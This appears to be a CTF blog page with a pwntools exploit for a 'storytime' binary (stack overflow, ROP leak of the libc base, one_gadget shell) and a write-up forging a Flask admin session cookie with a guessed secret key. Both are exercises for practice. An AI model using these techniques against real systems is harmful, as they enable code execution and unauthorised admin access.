
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./storytime")
libc = ELF('./libc.so.6')
belf = ELF("./storytime")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))


gscript = '''
b main
b * 0x40069b
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

ret = 0x40048e
rdi_ret = 0x400703
rsi_r15_ret = 0x400701
rax_ret = 0x33544
main = 0x40062E
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

payload = b'h'*0x38 # 填充到ret address
payload += p64(rdi_ret) + p64(1) # write(1, write@got, xxx) 第三个参数因为本身就大于write地址长度,可以不管
payload += p64(rsi_r15_ret) + p64(belf.got['write']) + p64(0)
payload += p64(belf.plt['write']) + p64(main) # 跳转回main
sla(b'story:', payload)
# 获取libc base
libc_base = ga() - libc.sym['write']
success("libc base: " + hex(libc_base))

payload = b'h'*0x38
payload += p64(libc_base + gadgets[0]) # 跳转执行gadgets
sla(b'story:', payload)

pi()
pause()
Read More
post @ 2023-08-19

题目链接

题目提示:大型Flag赠送活动开始啦,不过只有管理员才能拿到

进入页面,发现

  • /hello post name=xxx (直接发admin不行,尝试其他字符串都是直接不变输出)
  • /flag(拿flag按键跳转) 获取flag(仅admin可以)

发现上传name后有个session值,类似base64

m

解码后得到

1
{"name":"a"}dàt“‘@¸WÞ$ʊaÞ%mËv6ÙpD	# 前半部分是上传的name,后面应该是数据签名

推测可能是 flask session伪造

再查看页面信息确实是flask

m

session伪造

工具 https://github.com/noraj/flask-session-cookie-manager

使用方法

1
2
3
4
python2 flask-session-cookie-manager2.py decode -c "session值" (-s "key值")
python2 flask-session-cookie-manager2.py encode -s "key值" -t "我们需要伪造的值"
python3 flask-session-cookie-manager3.py decode -c "session值" (-s "key值")
python3 flask-session-cookie-manager3.py encode -s "key值" -t "我们需要伪造的值"

伪造需要key,猜测为”LitCTF”

1
2
python3 flask-session-cookie-manager3.py encode -s 'LitCTF' -t '{"name":"admin"}'
# eyJuYW1lIjoiYWRtaW4ifQ.ZOBwTg.fCkX986VBbFDKMaipQ5QjHJAkQg

此时再访问/flag,将当前页面cookie改为伪造的值,刷新页面即可看到flag

Read More
⬆︎TOP